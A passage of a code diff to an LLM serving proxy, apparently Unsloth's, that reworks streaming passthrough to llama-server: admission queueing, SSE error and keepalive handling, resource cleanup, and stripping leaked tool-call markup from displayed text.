-            _error_event = _anthropic_stream_error_event(e)
+            # force = True so an unclassified mid-stream failure (llama-server crash,
+            # decode OOM, dropped socket) still emits an SSE error and returns, instead
+            # of a normal message_stop that masks a truncated turn as a clean finish.
+            _error_event = _anthropic_stream_error_event(e, force = True)
             if _error_event is not None:
                 yield _error_event
                 return
         finally:
             await _stop_local_disconnect_cancel_watcher(disconnect_watcher)
+            # Drain a still-running next(gen) worker before closing, so a mid-prefill
+            # disconnect releases the thread/generator/model resources. Closing first
+            # would race into ValueError('generator already executing').
+            await _drain_pending_next_task(_next_task, cancel_event)
+            if gen is not None:
+                try:
+                    await asyncio.to_thread(gen.close)
+                except (RuntimeError, ValueError):
+                    pass
 
         stop_reason = openai_finish_to_anthropic_stop(captured_finish_reason, had_tool_calls = False)
         for line in emitter.finish(stop_reason = stop_reason, stop_sequence = None):
@@ -10012,6 +13600,7 @@ async def _anthropic_tool_non_streaming(
     message_id,
     model_name,
     disable_parallel_tool_use = False,
+    openai_tools = None,
 ):
     """Non-streaming response for the tool-calling path.
 
@@ -10030,6 +13619,9 @@ async def _anthropic_tool_non_streaming(
     usage = {}
     prev_text = ""
     captured_finish_reason = None
+    # Gate the display strip on the declared tools: an inactive NAME[ARGS]{...} in a final
+    # answer is prose and must survive in the delivered text.
+    _display_names = _display_tool_name_gate(openai_tools)
     # Pending client tool_use; cleared by tool_end (server execution) or
     # trailing text. See the stop_reason mapping below.
     ends_on_tool_use = False
@@ -10039,8 +13631,10 @@ async def _anthropic_tool_non_streaming(
     for event in events:
         etype = event.get("type", "")
         if etype == "content":
-            # Strip leaked tool-call XML
-            clean = _TOOL_XML_RE.sub("", event["text"])
+            # Strip leaked tool XML (protected helper keeps think rehearsal and trailing prose).
+            clean = _strip_tool_xml_for_display(
+                event["text"], auto_heal_tool_calls = True, enabled_tool_names = _display_names
+            )
             new = clean[len(prev_text) :]
             prev_text = clean
             if new:
@@ -10164,13 +13758,15 @@ def _build_passthrough_payload(
 ):
     body = {
         "messages": openai_messages,
-        "tools": openai_tools,
-        "tool_choice": tool_choice,
         "temperature": temperature,
         "top_p": top_p,
         "top_k": top_k,
         "stream": stream,
     }
+    if openai_tools:
+        body["tools"] = openai_tools
+        if tool_choice is not None:
+            body["tool_choice"] = tool_choice
     if seed is not None:
         body["seed"] = seed
     if stream and stream_options is not None:
@@ -10377,13 +13973,17 @@ async def _anthropic_passthrough_stream(
                     yield event
                 return
         finally:
-            await _aclose_stream_resources(
-                watchers = (cancel_watcher, disconnect_watcher),
-                iterator = lines_iter,
-                resp = resp,
-                client = client,
-            )
-            _tracker.__exit__(None, None, None)
+            # Same shape as the OpenAI passthrough: a close-time CancelledError
+            # re-raised by _aclose_stream_resources must not skip the tracker exit.
+            try:
+                await _aclose_stream_resources(
+                    watchers = (cancel_watcher, disconnect_watcher),
+                    iterator = lines_iter,
+                    resp = resp,
+                    client = client,
+                )
+            finally:
+                _tracker.__exit__(None, None, None)
 
         for line in emitter.finish():
             yield line
@@ -10510,9 +14110,16 @@ async def _anthropic_passthrough_non_streaming(
         text = message.get("content") or ""
         if text:
             # Keep unpromoted bytes when healing is active; legacy stripping is
-            # only for opted-out or no-client-tool requests.
+            # only for opted-out or no-client-tool requests. Protected helper (not
+            # raw _TOOL_XML_RE.sub): preserves <think> rehearsal and balanced
+            # [TOOL_CALLS] trailing prose, gated on the declared tools so an
+            # inactive NAME[ARGS]{...} example in the final text is kept.
             if not healing_active:
-                text = _TOOL_XML_RE.sub("", text)
+                text = _strip_tool_xml_for_display(
+                    text,
+                    auto_heal_tool_calls = True,
+                    enabled_tool_names = _display_tool_name_gate(openai_tools),
+                )
             text = text.strip()
             if text:
                 content_blocks.append(AnthropicResponseTextBlock(text = text))
@@ -10731,7 +14338,7 @@ def _openai_messages_for_passthrough(payload) -> list[dict]:
     structured ``tool_calls``. Content-parts images already in the list are
     left untouched.
 
-    When a client uses Studio's legacy ``image_base64`` top-level field, the
+    When a client uses Unsloth's legacy ``image_base64`` top-level field, the
     image is re-encoded to PNG (llama-server's stb_image has limited format
     support) and spliced into the last user message as an OpenAI ``image_url``
     content part so vision + function-calling requests work transparently.
@@ -10760,6 +14367,55 @@ def _openai_messages_for_passthrough(payload) -> list[dict]:
     return messages
 
 
+def _flatten_content_parts_for_local_template(messages: list[dict]) -> list[dict]:
+    """Flatten OpenAI content-part lists to plain strings.
+
+    Local text templates take string content and raise on part lists (e.g. a
+    remote ``image_url`` that leaves ``image is None``): keep the text parts,
+    drop the rest, like the plain non-GGUF path. GGUF keeps the parts."""
+    out = []
+    for msg in messages:
+        content = msg.get("content")
+        if isinstance(content, list):
+            text_parts = [
+                part.get("text", "")
+                for part in content
+                if isinstance(part, dict) and part.get("type") == "text"
+            ]
+            msg = {**msg, "content": "\n".join(text_parts) if text_parts else ""}
+        out.append(msg)
+    return out
+
+
+def _structured_tool_history_for_local_template(messages: list[dict]) -> list[dict]:
+    """Deserialize assistant ``tool_calls[].function.arguments`` JSON strings to
+    mappings for local templating.
+
+    Clients send prior-turn arguments as JSON strings, but local templates take
+    mappings (some raise on strings). Only the internal messages copy is
+    rewritten; the HTTP response stays OpenAI-shaped and unparseable strings
+    are left untouched."""
+    out = []
+    for msg in messages:
+        tool_calls = msg.get("tool_calls")
+        if isinstance(tool_calls, list) and tool_calls:
+            new_calls = []
+            for tc in tool_calls:
+                fn = tc.get("function") if isinstance(tc, dict) else None
+                args = fn.get("arguments") if isinstance(fn, dict) else None
+                if isinstance(args, str):
+                    try:
+                        parsed = json.loads(args)
+                    except ValueError:
+                        parsed = None
+                    if isinstance(parsed, dict):
+                        tc = {**tc, "function": {**fn, "arguments": parsed}}
+                new_calls.append(tc)
+            msg = {**msg, "tool_calls": new_calls}
+        out.append(msg)
+    return out
+
+
 def _openai_messages_for_gguf_chat(payload, is_vision: bool) -> tuple[list[dict], bool]:
     """Build llama-server messages for the standard GGUF chat path.
 
@@ -10816,7 +14472,7 @@ def _build_openai_passthrough_body(
 ) -> dict:
     """Assemble the llama-server request body from a ChatCompletionRequest.
 
-    Only known OpenAI / llama-server fields are forwarded, so Studio-specific
+    Only known OpenAI / llama-server fields are forwarded, so Unsloth-specific
     extensions (``enable_tools``, ``enabled_tools``, ``session_id``, ...) never
     leak to the backend.
     """
@@ -10824,6 +14480,9 @@ def _build_openai_passthrough_body(
     system_prompt, _, _ = _extract_content_parts(payload.messages)
     messages = _set_or_prepend_system_message(messages, system_prompt)
     tool_choice = payload.tool_choice if payload.tool_choice is not None else "auto"
+    tools = payload.tools
+    if payload.tool_choice == "none" and not _has_openai_tool_history(payload.messages):
+        tools = None
     # Forward per-request reasoning fields (enable_thinking / reasoning_effort /
     # preserve_thinking) via chat_template_kwargs so the Jinja template renders
     # in the caller's mode, gated on the active template's capabilities exactly
@@ -10839,12 +14498,12 @@ def _build_openai_passthrough_body(
     )
     return _build_passthrough_payload(
         messages,
-        payload.tools,
+        tools,
         payload.temperature,
         payload.top_p,
         payload.top_k,
         # Honor max_completion_tokens on the tools/response_format passthrough too.
-        _effective_max_tokens(payload),
+        _effective_openai_max_tokens(payload),
         payload.stream,
         stop = payload.stop,
         min_p = payload.min_p,
@@ -10868,29 +14527,219 @@ async def _openai_passthrough_stream(
     completion_id,
     monitor_id: Optional[str] = None,
 ):
-    """Streaming client-side pass-through for /v1/chat/completions.
-
-    Forwards the client's OpenAI function-calling request to llama-server and
-    relays the SSE stream back verbatim, preserving llama-server's native
-    response ``id``, ``finish_reason`` (including ``"tool_calls"``),
-    ``delta.tool_calls``, and any client-requested trailing ``usage`` chunk so
-    the client sees a standard OpenAI response.
-    """
-    target_url = f"{llama_backend.base_url}/v1/chat/completions"
-    body = _build_openai_passthrough_body(
-        payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
-    )
-    # Text-form tool calls from small models get promoted to structured calls on
-    # the way back (declared client tools only); requests without tools or with
-    # auto_heal_tool_calls=false keep the verbatim relay. tool_choice constrains
-    # the allowlist ("none" disables, a forced function narrows to it).
-    _allowed_tools = heal_gate(
-        payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
-    )
-
     _cancel_keys = (payload.cancel_id, payload.session_id, completion_id)
     _tracker = _TrackedCancel(cancel_event, *_cancel_keys)
     _tracker.__enter__()
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _tracker.__exit__(None, None, None)
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "chat_passthrough_stream",
+            completion_id = completion_id,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    lease = reservation.lease_nowait()
+    if lease is not None:
+        try:
+            await _raise_if_openai_admission_cancelled(
+                reservation,
+                request = request,
+                cancel_event = cancel_event,
+            )
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            lease.release()
+            _tracker.__exit__(None, None, None)
+            raise
+        except LlamaAdmissionCancelled as exc:
+            lease.release()
+            _tracker.__exit__(None, None, None)
+            api_monitor.finish(monitor_id, "cancelled")
+            raise HTTPException(
+                status_code = 499,
+                detail = _openai_admission_error_body(exc, status_code = 499),
+            )
+        return await _openai_passthrough_stream_admitted(
+            request,
+            cancel_event,
+            llama_backend,
+            payload,
+            model_name,
+            completion_id,
+            monitor_id = monitor_id,
+            admission_lease = lease,
+            tracker = _tracker,
+        )
+
+    admission_wait_started_at = time.monotonic()
+    _openai_admission_log(
+        "queued",
+        reservation,
+        request = request,
+        mode = "chat_passthrough_stream",
+        completion_id = completion_id,
+        level = "debug",
+    )
+
+    async def _queued_stream():
+        admitted_started = False
+        admitted_body_owns_cleanup = False
+        admitted_response = None
+        admitted_body_cancelled = False
+        try:
+            async for wait_item in _openai_admission_wait_stream_chunks(
+                reservation,
+                admission_config,
+                request = request,
+                cancel_event = cancel_event,
+            ):
+                if isinstance(wait_item, str):
+                    yield wait_item
+                    continue
+                _openai_admission_log(
+                    "granted-after-wait",
+                    reservation,
+                    request = request,
+                    mode = "chat_passthrough_stream",
+                    wait_started_at = admission_wait_started_at,
+                    completion_id = completion_id,
+                    level = "debug",
+                )
+                await _raise_if_openai_admission_cancelled(
+                    reservation,
+                    request = request,
+                    cancel_event = cancel_event,
+                )
+                admitted_response = await _openai_passthrough_stream_admitted(
+                    request,
+                    cancel_event,
+                    llama_backend,
+                    payload,
+                    model_name,
+                    completion_id,
+                    monitor_id = monitor_id,
+                    admission_lease = wait_item,
+                    tracker = _tracker,
+                )
+                admitted_started = True
+                iterator = admitted_response.body_iterator
+                admitted_body_owns_cleanup = True
+                try:
+                    async for chunk in iterator:
+                        yield chunk
+                except asyncio.CancelledError:
+                    admitted_body_cancelled = True
+                    raise
+                finally:
+                    await _close_openai_admitted_stream_iterator(
+                        iterator,
+                        cancelled = admitted_body_cancelled,
+                    )
+                    if not admitted_body_owns_cleanup:
+                        cleanup = getattr(admitted_response, "_unstarted_cleanup", None)
+                        if cleanup is not None:
+                            await cleanup()
+                return
+        except LlamaAdmissionTimeout as exc:
+            _openai_admission_log(
+                "timeout",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = completion_id,
+                level = "warning",
+            )
+            api_monitor.fail(monitor_id, str(exc))
+            yield _openai_stream_error_sse(_openai_admission_error_body(exc, status_code = 503))
+        except LlamaAdmissionCancelled:
+            _openai_admission_log(
+                "cancelled-before-upstream",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_stream",
+                wait_started_at = admission_wait_started_at,
+                completion_id = completion_id,
+                level = "debug",
+            )
+            api_monitor.finish(monitor_id, "cancelled")
+            return
+        except asyncio.CancelledError:
+            api_monitor.finish(monitor_id, "cancelled")
+            raise
+        except HTTPException as exc:
+            status_code = getattr(exc, "status_code", 500) or 500
+            detail = exc.detail
+            error = (
+                detail
+                if isinstance(detail, dict) and "error" in detail
+                else openai_error_body(str(detail), status = status_code)
+            )
+            api_monitor.fail(monitor_id, str(detail))
+            yield _openai_stream_error_sse(error)
+        finally:
+            if not admitted_started:
+                api_monitor.finish(monitor_id, "cancelled")
+                reservation.cancel()
+                _tracker.__exit__(None, None, None)
+
+    async def _queued_unstarted_cleanup() -> None:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+        _tracker.__exit__(None, None, None)
+
+    return _SameTaskStreamingResponse(
+        _queued_stream(),
+        media_type = "text/event-stream",
+        headers = {
+            "Cache-Control": "no-cache",
+            "Connection": "close",
+            "X-Accel-Buffering": "no",
+        },
+        unstarted_cleanup = _queued_unstarted_cleanup,
+    )
+
+
+async def _openai_passthrough_stream_admitted(
+    request,
+    cancel_event,
+    llama_backend,
+    payload,
+    model_name,
+    completion_id,
+    monitor_id: Optional[str] = None,
+    *,
+    admission_lease: LlamaAdmissionLease,
+    tracker,
+):
+    """Streaming client-side pass-through after Unsloth granted an upstream slot.
+
+    Forwards the client's OpenAI function-calling request to llama-server and
+    relays the SSE stream back with minimal normalization (reasoning-only
+    deltas gain ``content: ""``; errors and missing terminal markers get a
+    closing ``[DONE]``), preserving llama-server's native response ``id``,
+    ``finish_reason`` (including ``"tool_calls"``), ``delta.tool_calls``, and
+    any client-requested trailing ``usage`` chunk so the client sees a
+    standard OpenAI response.
+
+    Reasoning/tool-call splitting is delegated to llama-server (``--jinja
+    --reasoning-format auto``), so ``delta.content`` carries no raw markup and is
+    deliberately not re-parsed locally, unlike the ``/completion`` paths.
+    """
+    _tracker = tracker
+    target_url = f"{llama_backend.base_url}/v1/chat/completions"
+    upstream_headers = _openai_passthrough_upstream_headers(llama_backend = llama_backend)
+
     client = None
     resp = None
     send_task: Optional[asyncio.Task[Optional[httpx.Response]]] = None
@@ -10912,6 +14761,17 @@ async def _openai_passthrough_stream(
 
     # Keep tracker cleanup paired if pre-header dispatch is cancelled.
     try:
+        body = _build_openai_passthrough_body(
+            payload, backend_ctx = llama_backend.context_length, llama_backend = llama_backend
+        )
+        # Text-form tool calls from small models get promoted to structured calls on
+        # the way back (declared client tools only); requests without tools or with
+        # auto_heal_tool_calls=false keep the unhealed relay. tool_choice constrains
+        # the allowlist ("none" disables, a forced function narrows to it).
+        _allowed_tools = heal_gate(
+            payload.auto_heal_tool_calls, body.get("tools"), body.get("tool_choice")
+        )
+
         # Keep the pre-header window short so accepted SSE clients receive
         # immediate headers in the common timeout-reduced stall.
         client = httpx.AsyncClient(
@@ -10925,12 +14785,16 @@ async def _openai_passthrough_stream(
 
         while True:
             try:
-                req = client.build_request(
-                    "POST", target_url, json = body, headers = {"Connection": "close"}
-                )
+                req = client.build_request("POST", target_url, json = body, headers = upstream_headers)
                 first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                 send_task = asyncio.create_task(
-                    _send_stream_with_preheader_cancel(client, req, cancel_event, request = request)
+                    _send_stream_with_preheader_cancel(
+                        client,
+                        req,
+                        cancel_event,
+                        request = request,
+                        mark_cancel_on_cancel = False,
+                    )
                 )
                 done, _ = await asyncio.wait(
                     {send_task},
@@ -10956,13 +14820,17 @@ async def _openai_passthrough_stream(
             if resp is None and send_task is not None and not send_task.done():
                 break
             if resp is None:
+                if cancel_event is not None:
+                    cancel_event.set()
                 api_monitor.finish(monitor_id, "cancelled")
-                await _aclose_send_task(send_task)
                 try:
-                    await client.aclose()
-                except Exception:
-                    pass
-                _tracker.__exit__(None, None, None)
+                    await _aclose_send_task(send_task)
+                    await _aclose_stream_resources(client = client)
+                finally:
+                    try:
+                        admission_lease.release()
+                    finally:
+                        _tracker.__exit__(None, None, None)
                 return _SameTaskStreamingResponse(
                     iter(()),
                     media_type = "text/event-stream",
@@ -10987,6 +14855,7 @@ async def _openai_passthrough_stream(
                 await resp.aclose()
             except Exception:
                 pass
+            resp = None
             # Opt-in overflow policy: shrink and retry instead of a fatal 400.
             if (
                 _truncate_budget > 0
@@ -11015,11 +14884,14 @@ async def _openai_passthrough_stream(
             disconnect_watcher = None
 
             nonlocal resp, send_task, first_token_deadline, _truncate_budget
+            nonlocal client
             monitor_done = False
             saw_finish_reason = False
             saw_done = False
             saw_stream_error = False
+            saw_stream_item = False
             saw_tool_call_delta = False
+            terminal_seen = False
             last_chunk_id = completion_id
             last_chunk_model = model_name
             last_chunk_created = int(time.time())
@@ -11080,6 +14952,13 @@ async def _openai_passthrough_stream(
                     lines.append("data: " + json.dumps(chunk, ensure_ascii = False))
                 return lines
 
+            stall_timeout_s = _openai_compat_stream_stall_timeout()
+
+            def _terminal_read_timeout_s() -> Optional[float]:
+                if terminal_seen:
+                    return _OPENAI_PASSTHROUGH_TERMINAL_GRACE_S
+                return stall_timeout_s
+
             def _heal_transform(chunk_data: dict, raw_line: str) -> list:
                 """SSE lines to emit in place of one upstream line (healing on)."""
                 choices = chunk_data.get("choices")
@@ -11148,24 +15027,47 @@ async def _openai_passthrough_stream(
 
             try:
                 while True:
-                    if send_task is not None and not send_task.done():
-                        try:
-                            resp = await send_task
-                        except httpx.RequestError as e:
-                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
-                            api_monitor.fail(monitor_id, _friendly_error(e))
-                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
-                            return
-                        send_task = None
-                    elif send_task is not None:
-                        try:
-                            resp = send_task.result()
-                        except httpx.RequestError as e:
-                            logger.error("openai passthrough stream: upstream unreachable: %s", e)
-                            api_monitor.fail(monitor_id, _friendly_error(e))
-                            yield f"data: {json.dumps(_openai_stream_error_chunk(e))}\n\n"
-                            return
-                        send_task = None
+                    if send_task is not None:
+                        last_keepalive_at = time.monotonic()
+                        while not send_task.done():
+                            # Wake often enough that _preheader_cancelled keeps
+                            # cancel/disconnect latency sub-second during prefill;
+                            # keepalives still pace off last_keepalive_at.
+                            wait_timeout = min(
+                                _STREAM_DISCONNECT_POLL_TIMEOUT_S,
+                                _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S,
+                            )
+                            done, _ = await asyncio.wait(
+                                {send_task},
+                                timeout = wait_timeout,
+                                return_when = asyncio.FIRST_COMPLETED,
+                            )
+                            if send_task in done:
+                                break
+                            if await _preheader_cancelled(cancel_event, request):
+                                api_monitor.finish(monitor_id, "cancelled")
+                                return
+                            # The downstream SSE response is already committed;
+                            # keep strict clients and proxies from treating a long
+                            # llama-server prefill/header wait as a dead stream.
+                            now = time.monotonic()
+                            if (
+                                now - last_keepalive_at
+                                >= _OPENAI_PASSTHROUGH_PENDING_RESPONSE_KEEPALIVE_S
+                            ):
+                                last_keepalive_at = now
+                                yield _OPENAI_PASSTHROUGH_SSE_KEEPALIVE
+                        if resp is None:
+                            try:
+                                resp = send_task.result()
+                            except httpx.RequestError as e:
+                                logger.error(
+                                    "openai passthrough stream: upstream unreachable: %s", e
+                                )
+                                api_monitor.fail(monitor_id, _friendly_error(e))
+                                yield _openai_stream_error_sse(_openai_stream_error_chunk(e))
+                                return
+                            send_task = None
 
                     if resp is None:
                         api_monitor.finish(monitor_id, "cancelled")
@@ -11193,12 +15095,16 @@ async def _openai_passthrough_stream(
                     ):
                         _truncate_budget -= 1
                         req = client.build_request(
-                            "POST", target_url, json = body, headers = {"Connection": "close"}
+                            "POST", target_url, json = body, headers = upstream_headers
                         )
                         first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S
                         send_task = asyncio.create_task(
                             _send_stream_with_preheader_cancel(
-                                client, req, cancel_event, request = request
+                                client,
+                                req,
+                                cancel_event,
+                                request = request,
+                                mark_cancel_on_cancel = False,
                             )
                         )
                         continue
@@ -11213,7 +15119,7 @@ async def _openai_passthrough_stream(
                         )
                     )
                     api_monitor.fail(monitor_id, err_text[:500])
-                    yield f"data: {json.dumps(error_payload)}\n\n"
+                    yield _openai_stream_error_sse(error_payload)
                     return
 
                 cancel_watcher = asyncio.create_task(_await_cancel_then_close(cancel_event, resp))
@@ -11227,12 +15133,14 @@ async def _openai_passthrough_stream(
                     request = request,
                     first_token_deadline = first_token_deadline,
                     response = resp,
+                    post_first_item_read_timeout_s = _terminal_read_timeout_s,
                 ):
                     if not raw_line:
                         continue
-                    if not raw_line.startswith("data: "):
+                    if not raw_line.startswith("data:"):
                         continue
-                    data_text = raw_line[6:].strip()
+                    saw_stream_item = True
+                    data_text = raw_line[5:].strip()
                     if data_text == "[DONE]":
                         saw_done = True
                         # Upstream ended without a finish chunk: heal the residue
@@ -11264,13 +15172,11 @@ async def _openai_passthrough_stream(
                         yield raw_line + "\n\n"
                         monitor_done = True
                         break
-                    # Honor parallel_tool_calls=false (best-effort): drop tool_call
-                    # deltas with index>=1 so only the first call streams. Only
-                    # lines carrying tool_calls are reparsed; everything else is
-                    # relayed byte-for-byte.
-                    if payload.parallel_tool_calls is False and '"tool_calls"' in raw_line:
-                        raw_line = _cap_parallel_tool_calls_sse_line(raw_line)
-                        data_text = raw_line[6:].strip()
+                    raw_line = _normalize_openai_passthrough_sse_line(
+                        raw_line,
+                        cap_parallel_tool_calls = payload.parallel_tool_calls is False,
+                    )
+                    data_text = raw_line[5:].strip()
                     try:
                         chunk_data = json.loads(data_text)
                     except json.JSONDecodeError:
@@ -11291,16 +15197,15 @@ async def _openai_passthrough_stream(
                                 delta = choice.get("delta")
                                 if isinstance(delta, dict) and delta.get("tool_calls"):
                                     saw_tool_call_delta = True
-                        # Detect an upstream error chunk independently of API
-                        # monitoring: when monitor_id is None (skip_api_monitor),
-                        # _monitor_openai_sse_line returns before inspecting the
-                        # error, so without this the synthetic-finish guard would
-                        # emit a successful finish_reason after a failed stream.
+                        # Detect an error chunk independently of API monitoring
+                        # (skip_api_monitor returns early), else the synthetic
+                        # finish would fire after a failed stream.
                         if _monitor_openai_error_message(chunk_data):
                             saw_stream_error = True
                     # With healing active, a content-bearing line may be replaced by
-                    # held/promoted chunks; otherwise the single upstream line
-                    # relays verbatim (monitored exactly as emitted either way).
+                    # held/promoted chunks; otherwise the single (already
+                    # normalized) line relays unchanged (monitored exactly as
+                    # emitted either way).
                     if (
                         healer is not None
                         and not healer.dormant
@@ -11350,6 +15255,27 @@ async def _openai_passthrough_stream(
                         yield out_line + "\n\n"
                         if monitor_event == "done":
                             monitor_done = True
+                            break
+                        terminal_state = (
+                            _openai_passthrough_terminal_state_from_data(chunk_data)
+                            if out_line is raw_line
+                            else _openai_passthrough_sse_line_terminal_state(out_line)
+                        )
+                        if terminal_state == "usage" or (
+                            terminal_state == "finish" and not _wants_stream_usage(payload)
+                        ):
+                            done_line = _SSE_DONE_LINE
+                            _monitor_openai_sse_line(
+                                monitor_id,
+                                done_line,
+                                llama_backend.context_length,
+                            )
+                            yield done_line + "\n\n"
+                            saw_done = True
+                            monitor_done = True
+                            break
+                        if terminal_state == "finish":
+                            terminal_seen = True
                     if monitor_done:
                         break
                 if not saw_done and not saw_stream_error and not cancel_event.is_set():
@@ -11371,7 +15297,7 @@ async def _openai_passthrough_stream(
                             llama_backend.context_length,
                         )
                         yield finish_line + "\n\n"
-                    done_line = "data: [DONE]"
+                    done_line = _SSE_DONE_LINE
                     _monitor_openai_sse_line(
                         monitor_id,
                         done_line,
@@ -11387,6 +15313,29 @@ async def _openai_passthrough_stream(
             except asyncio.CancelledError:
                 api_monitor.finish(monitor_id, "cancelled")
                 raise
+            except httpx.ReadTimeout as e:
+                if terminal_seen and not saw_stream_error and not cancel_event.is_set():
+                    done_line = _SSE_DONE_LINE
+                    _monitor_openai_sse_line(
+                        monitor_id,
+                        done_line,
+                        llama_backend.context_length,
+                    )
+                    yield done_line + "\n\n"
+                    api_monitor.finish(monitor_id)
+                    return
+                if cancel_event.is_set():
+                    api_monitor.finish(monitor_id, "cancelled")
+                    return
+                logger.error(
+                    "openai passthrough stream %s: %s",
+                    "stalled mid-response" if saw_stream_item else "timeout",
+                    e,
+                )
+                api_monitor.fail(monitor_id, _friendly_error(e))
+                get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
+                err = _openai_stream_error_chunk(e)
+                yield _openai_stream_error_sse(err)
             except (httpx.RemoteProtocolError, httpx.ReadError, httpx.CloseError) as e:
                 # Watcher closed resp on cancel. Emit nothing extra; the client
                 # initiated the cancel or already disconnected.
@@ -11395,6 +15344,16 @@ async def _openai_passthrough_stream(
                     get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                     raise
                 api_monitor.finish(monitor_id, "cancelled")
+            except HTTPException as exc:
+                status_code = getattr(exc, "status_code", 500) or 500
+                detail = exc.detail
+                error_payload = (
+                    detail
+                    if isinstance(detail, dict) and "error" in detail
+                    else openai_error_body(str(detail), status = status_code)
+                )
+                api_monitor.fail(monitor_id, str(detail))
+                yield _openai_stream_error_sse(error_payload)
             except Exception as e:
                 if cancel_event.is_set():
                     api_monitor.finish(monitor_id, "cancelled")
@@ -11404,25 +15363,37 @@ async def _openai_passthrough_stream(
                 api_monitor.fail(monitor_id, _friendly_error(e))
                 get_llama_cpp_backend()._maybe_recover_from_mtp_crash(e)
                 err = _openai_stream_error_chunk(e)
-                yield f"data: {json.dumps(err)}\n\n"
+                yield _openai_stream_error_sse(err)
             finally:
-                await _aclose_send_task(send_task)
-                await _aclose_stream_resources(
-                    watchers = (cancel_watcher, disconnect_watcher),
-                    iterator = lines_iter,
-                    resp = resp,
-                    client = client,
-                )
-                _tracker.__exit__(None, None, None)
+                # _aclose_stream_resources re-raises a close-time CancelledError
+                # only after finishing teardown, and the tracker exits either way.
+                try:
+                    await _aclose_send_task(send_task)
+                    await _aclose_stream_resources(
+                        watchers = (cancel_watcher, disconnect_watcher),
+                        iterator = lines_iter,
+                        resp = resp,
+                        client = client,
+                    )
+                finally:
+                    try:
+                        admission_lease.release()
+                    finally:
+                        _tracker.__exit__(None, None, None)
 
         async def _unstarted_cleanup() -> None:
             # Client disconnected before the body stream started, so _stream()'s
             # finally never ran. Release the eagerly-opened upstream resp/client
             # and the cancel-registry entry here; the watchers and line iterator
             # are created inside _stream(), so there is nothing else to close.
-            await _aclose_send_task(send_task)
-            await _aclose_stream_resources(resp = resp, client = client)
-            _tracker.__exit__(None, None, None)
+            try:
+                await _aclose_send_task(send_task)
+                await _aclose_stream_resources(resp = resp, client = client)
+            finally:
+                try:
+                    admission_lease.release()
+                finally:
+                    _tracker.__exit__(None, None, None)
 
         return _SameTaskStreamingResponse(
             _stream(),
@@ -11434,10 +15405,22 @@ async def _openai_passthrough_stream(
             },
             unstarted_cleanup = _unstarted_cleanup,
         )
-    except BaseException:
-        await _aclose_send_task(send_task)
-        await _aclose_stream_resources(resp = resp, client = client)
-        _tracker.__exit__(None, None, None)
+    except BaseException as exc:
+        if isinstance(exc, asyncio.CancelledError):
+            if cancel_event is not None:
+                cancel_event.set()
+            api_monitor.finish(monitor_id, "cancelled")
+        else:
+            detail = exc.detail if isinstance(exc, HTTPException) else _friendly_error(exc)
+            api_monitor.fail(monitor_id, str(detail))
+        try:
+            await _aclose_send_task(send_task)
+            await _aclose_stream_resources(resp = resp, client = client)
+        finally:
+            try:
+                admission_lease.release()
+            finally:
+                _tracker.__exit__(None, None, None)
         raise
 
 
@@ -11446,6 +15429,109 @@ async def _openai_passthrough_non_streaming(
     payload,
     model_name,
     monitor_id: Optional[str] = None,
+    *,
+    request: Optional[Request] = None,
+    cancel_event = None,
+):
+    """Non-streaming pass-through guarded by local llama-server admission."""
+    try:
+        reservation, admission_config = _openai_llama_admission_reserve(
+            request = request,
+            llama_backend = llama_backend,
+        )
+    except LlamaAdmissionQueueFull as exc:
+        _openai_admission_log(
+            "queue-full",
+            snapshot = exc.snapshot,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 429)
+
+    lease = None
+    admission_wait_started_at = None
+    try:
+        if reservation.lease_nowait() is None:
+            admission_wait_started_at = time.monotonic()
+            _openai_admission_log(
+                "queued",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_nonstream",
+                level = "debug",
+            )
+        lease = await _wait_for_openai_admission_non_streaming(
+            reservation,
+            admission_config,
+            request = request,
+            cancel_event = cancel_event,
+        )
+        if admission_wait_started_at is not None:
+            _openai_admission_log(
+                "granted-after-wait",
+                reservation,
+                request = request,
+                mode = "chat_passthrough_nonstream",
+                wait_started_at = admission_wait_started_at,
+                level = "debug",
+            )
+        await _raise_if_openai_admission_cancelled(
+            reservation,
+            request = request,
+            cancel_event = cancel_event,
+        )
+        return await _openai_passthrough_non_streaming_upstream(
+            llama_backend,
+            payload,
+            model_name,
+            monitor_id = monitor_id,
+            request = request,
+            cancel_event = cancel_event,
+        )
+    except LlamaAdmissionTimeout as exc:
+        _openai_admission_log(
+            "timeout",
+            reservation,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            wait_started_at = admission_wait_started_at,
+            level = "warning",
+        )
+        api_monitor.fail(monitor_id, str(exc))
+        raise _openai_admission_http_exception(exc, status_code = 503)
+    except LlamaAdmissionCancelled as exc:
+        _openai_admission_log(
+            "cancelled-before-upstream",
+            reservation,
+            request = request,
+            mode = "chat_passthrough_nonstream",
+            wait_started_at = admission_wait_started_at,
+            level = "debug",
+        )
+        api_monitor.finish(monitor_id, "cancelled")
+        raise HTTPException(
+            status_code = 499,
+            detail = _openai_admission_error_body(exc, status_code = 499),
+        )
+    except asyncio.CancelledError:
+        api_monitor.finish(monitor_id, "cancelled")
+        reservation.cancel()
+        raise
+    finally:
+        if lease is not None:
+            lease.release()
+
+
+async def _openai_passthrough_non_streaming_upstream(
+    llama_backend,
+    payload,
+    model_name,
